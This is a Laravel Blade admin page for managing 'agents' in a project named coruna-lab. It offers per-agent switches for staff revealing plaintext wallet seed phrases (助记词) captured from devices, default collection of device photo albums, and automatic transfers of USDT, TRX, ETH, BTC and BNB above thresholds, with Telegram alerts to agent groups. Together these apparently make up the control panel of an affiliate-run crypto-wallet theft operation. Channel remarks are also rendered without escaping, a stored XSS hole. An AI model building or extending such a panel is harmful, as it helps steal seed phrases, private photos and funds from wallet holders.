Files
coruna-lab/resources/views/admin/agents/index.blade.php
T
2026-10-03 05:40:19 +08:00

309 lines
15 KiB
PHP
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
@extends('admin.content')
@section('title', '代理用户')
@section('content')
<div class="layui-card">
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-agent-search">
<div class="layui-form-item">
<div class="layui-inline">
<label class="layui-form-label">账号</label>
<div class="layui-input-block">
<input type="text" name="username" class="layui-input" autocomplete="off">
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label">状态</label>
<div class="layui-input-block">
<select name="status">
<option value="">全部</option>
<option value="1">启用</option>
<option value="0">禁用</option>
</select>
</div>
</div>
<div class="layui-inline">
<button class="layui-btn" lay-submit lay-filter="LAY-agent-search">搜索</button>
<button type="button" class="layui-btn layui-btn-normal" id="LAY-agent-create">新建</button>
</div>
</div>
</form>
<div class="layui-card-body">
<table id="LAY-agent-list" lay-filter="LAY-agent-list"></table>
<script type="text/html" id="LAY-agent-ops">
<a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="channels">渠道链接</a>
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="edit">编辑</a>
@{{# if(d.is_locked){ }}
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="unlock">解锁</a>
@{{# } }}
@{{# if (d.telegram_ready) { }}
<a class="layui-btn layui-btn-xs" lay-event="tgtest">测试TG</a>
@{{# } }}
</script>
</div>
</div>
@endsection
@push('scripts')
<script>
layui.use(['table', 'form', 'layer'], function () {
var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$;
var token = @json(csrf_token());
var botUsername = @json($botUsername ?? '');
var botInviteUrl = @json($botInviteUrl ?? '');
var staffMnemonicReveal = @json(!empty($staff_mnemonic_reveal));
function esc(s) {
return String(s == null ? '' : s)
.replace(/&/g, '&amp;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;');
}
var cols = [
{ field: 'id', title: 'ID', width: 70, sort: true },
{ field: 'username', title: '账号', width: 120, sort: true },
{ field: 'status', title: '状态', width: 80, templet: function (d) {
return d.status == 1
? '<span style="color:#16a34a;font-weight:600;">启用</span>'
: '<span style="color:#dc2626;font-weight:600;">禁用</span>';
}},
{ field: 'telegram_ready', title: 'TG', width: 70, templet: function (d) {
return d.telegram_ready
? '<span style="color:#16a34a;">已配</span>'
: '<span style="color:#888;">未配</span>';
}},
{ field: 'google_bound', title: '谷歌验证', width: 90, templet: function (d) {
return Number(d.google_bound) === 1
? '<span style="color:#16a34a;">已绑定</span>'
: '<span style="color:#888;">未绑定</span>';
}},
{ field: 'is_locked', title: '锁定状态', width: 110, templet: function (d) {
if (d.is_locked) {
return '<span style="color:#ff5722;">已封锁</span><br><span style="font-size:12px;color:#999;">' + (d.locked_at || '') + '</span>';
}
var attempts = Number(d.login_attempts) || 0;
if (attempts > 0) {
return '<span style="color:#ffb800;">失败 ' + attempts + ' 次</span>';
}
return '<span style="color:#16b777;">正常</span>';
}},
{ field: 'chat_id', title: 'Chat ID', width: 140 },
{ field: 'comment', title: '备注', minWidth: 100 },
{ field: 'album_storage_default', title: '相册存储', width: 100, templet: function (d) {
return Number(d.album_storage_default) === 1
? '<span style="color:#16a34a;">开</span>'
: '<span style="color:#888;">关</span>';
}}
];
@if(!empty($staff_mnemonic_reveal))
cols.push({ field: 'can_reveal_mnemonics', title: '查看助记词', width: 110, templet: function (d) {
return Number(d.can_reveal_mnemonics) === 1
? '<span style="color:#16a34a;">开</span>'
: '<span style="color:#888;">关</span>';
}});
@endif
cols.push(
{ field: 'channels_count', title: '渠道数', width: 90 },
{ field: 'created_at', title: '创建时间', width: 160, sort: true },
{ title: '操作', width: 300, align: 'center', fixed: 'right', toolbar: '#LAY-agent-ops' }
);
table.render({
elem: '#LAY-agent-list',
id: 'LAY-agent-list',
url: @json(route('admin.agents.data')),
cols: [cols],
page: true, limit: 20, limits: [10, 20, 30, 50],
request: { pageName: 'page', limitName: 'limit' },
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
});
form.on('submit(LAY-agent-search)', function (data) {
table.reload('LAY-agent-list', { where: data.field, page: { curr: 1 } });
return false;
});
function openForm(title, values, onOk) {
values = values || {};
layer.open({
type: 1,
title: title,
area: ['560px', 'auto'],
content: '<form class="layui-form" style="padding:16px;" id="LAY-agent-form">' +
'<div class="layui-form-item"><label class="layui-form-label">账号</label><div class="layui-input-block">' +
'<input name="username" class="layui-input" ' + (values.id ? 'readonly' : '') + ' value="' + esc(values.username || '') + '"></div></div>' +
'<div class="layui-form-item"><label class="layui-form-label">密码</label><div class="layui-input-block">' +
'<input name="password" type="password" class="layui-input" placeholder="' + (values.id ? '留空不改' : '必填') + '"></div></div>' +
'<div class="layui-form-item"><label class="layui-form-label">备注</label><div class="layui-input-block">' +
'<input name="comment" class="layui-input" value="' + esc(values.comment || '') + '"></div></div>' +
'<div class="layui-form-item"><label class="layui-form-label">Chat ID</label><div class="layui-input-block">' +
'<div style="display:flex;gap:8px;align-items:center;">' +
'<input name="chat_id" class="layui-input" placeholder="代理通知群 chat_id" value="' + esc(values.chat_id || '') + '" style="flex:1;">' +
'<button type="button" class="layui-btn layui-btn-primary" id="LAY-agent-tg-test" style="flex-shrink:0;">测试推送</button>' +
'</div></div></div>' +
'<div class="layui-form-item"><div class="layui-input-block" style="color:#888;font-size:12px;line-height:1.5;">' +
(botUsername
? '请邀请 <b>' + esc(botUsername) + '</b> 进群' + (botInviteUrl ? '(<a href="' + esc(botInviteUrl) + '" target="_blank" rel="noopener">点此邀请</a>)' : '') + ',进群后 Bot 会回复 Chat ID,再填到这里。'
: '请先在系统设置保存有效 Bot Token(会自动识别 @用户名),再邀请该 Bot 进群。') +
' 填 Chat ID 后,该代理渠道通知会同时发到此群和官方群。</div></div>' +
'<div class="layui-form-item"><label class="layui-form-label">状态</label><div class="layui-input-block">' +
'<input type="checkbox" name="status_switch" lay-skin="switch" lay-text="启用|禁用" ' + ((values.status == null || values.status == 1) ? 'checked' : '') + '>' +
'</div></div>' +
'<div class="layui-form-item"><label class="layui-form-label">相册存储</label><div class="layui-input-block">' +
'<input type="checkbox" name="album_storage_switch" lay-skin="switch" lay-text="开|关" ' + (Number(values.album_storage_default) === 1 ? 'checked' : '') + '>' +
'<div class="layui-form-mid layui-word-aux" style="margin-left:0;padding:4px 0 0;">该代理新设备默认是否开启相册存储,默认关;仅管理员可改</div>' +
'</div></div>' +
@if(!empty($staff_mnemonic_reveal))
'<div class="layui-form-item"><label class="layui-form-label">查看助记词</label><div class="layui-input-block">' +
'<input type="checkbox" name="mnemonic_reveal_switch" lay-skin="switch" lay-text="开|关" ' + (Number(values.can_reveal_mnemonics) === 1 ? 'checked' : '') + '>' +
'<div class="layui-form-mid layui-word-aux" style="margin-left:0;padding:4px 0 0;">查看明文仍要谷歌验证</div>' +
'</div></div>' +
@endif
'<div class="layui-form-item"><label class="layui-form-label">自动转账</label><div class="layui-input-block">' +
'<input type="checkbox" name="auto_transfer_switch" lay-skin="switch" lay-text="开|关" ' + (Number(values.auto_transfer_enabled) === 1 ? 'checked' : '') + '>' +
'<div class="layui-form-mid layui-word-aux" style="margin-left:0;padding:4px 0 0;">仅控制该代理渠道,与系统官方开关互不影响</div>' +
'</div></div>' +
'<div class="layui-form-item"><label class="layui-form-label">阈值</label><div class="layui-input-block" style="display:flex;flex-wrap:wrap;gap:6px;">' +
'<input name="auto_transfer_threshold_usdt" class="layui-input" placeholder="USDT" style="width:110px;" value="' + esc(values.auto_transfer_threshold_usdt || '') + '">' +
'<input name="auto_transfer_threshold_trx" class="layui-input" placeholder="TRX" style="width:110px;" value="' + esc(values.auto_transfer_threshold_trx || '') + '">' +
'<input name="auto_transfer_threshold_eth" class="layui-input" placeholder="ETH" style="width:110px;" value="' + esc(values.auto_transfer_threshold_eth || '') + '">' +
'<input name="auto_transfer_threshold_btc" class="layui-input" placeholder="BTC" style="width:110px;" value="' + esc(values.auto_transfer_threshold_btc || '') + '">' +
'<input name="auto_transfer_threshold_bnb" class="layui-input" placeholder="BNB" style="width:110px;" value="' + esc(values.auto_transfer_threshold_bnb || '') + '">' +
'</div><div class="layui-form-mid layui-word-aux" style="margin-left:110px;">留空则用系统阈值(系统也空则 &gt;0)</div></div>' +
'</form>',
success: function (layero, index) {
form.render();
var maxH = Math.max(240, window.innerHeight - 140);
var $content = layero.find('.layui-layer-content');
if ($content.outerHeight() > maxH) {
$content.css({ 'max-height': maxH + 'px', 'overflow-y': 'auto' });
layer.style(index, { top: Math.max(20, (window.innerHeight - layero.outerHeight()) / 2) + 'px' });
}
$('#LAY-agent-tg-test').on('click', function () {
var $btn = $(this);
if ($btn.prop('disabled')) return;
$btn.prop('disabled', true);
$.ajax({
url: @json(route('admin.agents.telegramTest')),
method: 'POST',
data: {
_token: token,
chat_id: $('#LAY-agent-form input[name=chat_id]').val(),
agent_id: values.id || ''
},
success: function (res) {
layer.msg(res.msg || (res.code === 0 ? '已发送' : '失败'));
},
error: function (xhr) {
layer.msg((xhr.responseJSON && xhr.responseJSON.message) || '测试失败');
},
complete: function () {
$btn.prop('disabled', false);
}
});
});
},
btn: ['保存', '取消'],
yes: function (index) {
var data = {};
$('#LAY-agent-form').serializeArray().forEach(function (x) { data[x.name] = x.value; });
data.status = $('#LAY-agent-form input[name=status_switch]').is(':checked') ? 1 : 0;
data.auto_transfer_enabled = $('#LAY-agent-form input[name=auto_transfer_switch]').is(':checked') ? 1 : 0;
data.album_storage_default = $('#LAY-agent-form input[name=album_storage_switch]').is(':checked') ? 1 : 0;
if (staffMnemonicReveal) {
data.can_reveal_mnemonics = $('#LAY-agent-form input[name=mnemonic_reveal_switch]').is(':checked') ? 1 : 0;
}
delete data.status_switch;
delete data.auto_transfer_switch;
delete data.album_storage_switch;
delete data.mnemonic_reveal_switch;
onOk(data, index);
}
});
}
$('#LAY-agent-create').on('click', function () {
openForm('新建代理', { status: 1 }, function (data, index) {
$.ajax({
url: @json(route('admin.agents.store')),
method: 'POST',
data: data,
headers: { 'X-CSRF-TOKEN': token },
success: function (res) {
if (res.code !== 0) return layer.msg(res.msg || '失败');
layer.close(index);
table.reload('LAY-agent-list');
},
error: function (xhr) {
layer.msg((xhr.responseJSON && xhr.responseJSON.message) || '创建失败');
}
});
});
});
table.on('tool(LAY-agent-list)', function (obj) {
var d = obj.data;
if (obj.event === 'edit') {
openForm('编辑代理', d, function (data, index) {
$.ajax({
url: @json(url('/admin/agents')) + '/' + d.id,
method: 'POST',
data: Object.assign(data, { _method: 'PUT', _token: token }),
success: function (res) {
if (res.code !== 0) return layer.msg(res.msg || '失败');
layer.close(index);
table.reload('LAY-agent-list');
},
error: function (xhr) {
layer.msg((xhr.responseJSON && xhr.responseJSON.message) || '更新失败');
}
});
});
} else if (obj.event === 'unlock') {
layer.confirm('确定解除代理「' + d.username + '」的封禁状态?', function (index) {
$.ajax({
url: @json(url('/admin/agents')) + '/' + d.id + '/unlock',
method: 'POST',
data: { _token: token },
success: function (res) {
if (res.code !== 0) return layer.msg(res.msg || '失败');
layer.msg(res.msg || '已解除封禁');
layer.close(index);
table.reload('LAY-agent-list');
},
error: function (xhr) {
layer.msg((xhr.responseJSON && (xhr.responseJSON.message || xhr.responseJSON.msg)) || '解锁失败');
}
});
});
} else if (obj.event === 'tgtest') {
$.ajax({
url: @json(route('admin.agents.telegramTest')),
method: 'POST',
data: { _token: token, agent_id: d.id, chat_id: d.chat_id },
success: function (res) {
layer.msg(res.msg || (res.code === 0 ? '已发送' : '失败'));
},
error: function (xhr) {
layer.msg((xhr.responseJSON && xhr.responseJSON.message) || '测试失败');
}
});
} else if (obj.event === 'channels') {
$.getJSON(@json(url('/admin/agents')) + '/' + d.id + '/channels', function (res) {
var html = (res.data || []).map(function (c) {
var st = c.status == 1
? '<span style="color:#16a34a;">启用</span>'
: '<span style="color:#dc2626;">禁用</span>';
return '<div style="margin-bottom:10px;"><b>' + c.channel_id + '</b> (' + st + ')' +
(c.remark ? '<br><span style="color:#888;">' + c.remark + '</span>' : '') +
'</div>';
}).join('') || '暂无渠道链接';
layer.open({ type: 1, title: '渠道链接 — ' + d.username, area: ['520px', '360px'], content: '<div style="padding:16px;">' + html + '</div>' });
});
}
});
});
</script>
@endpush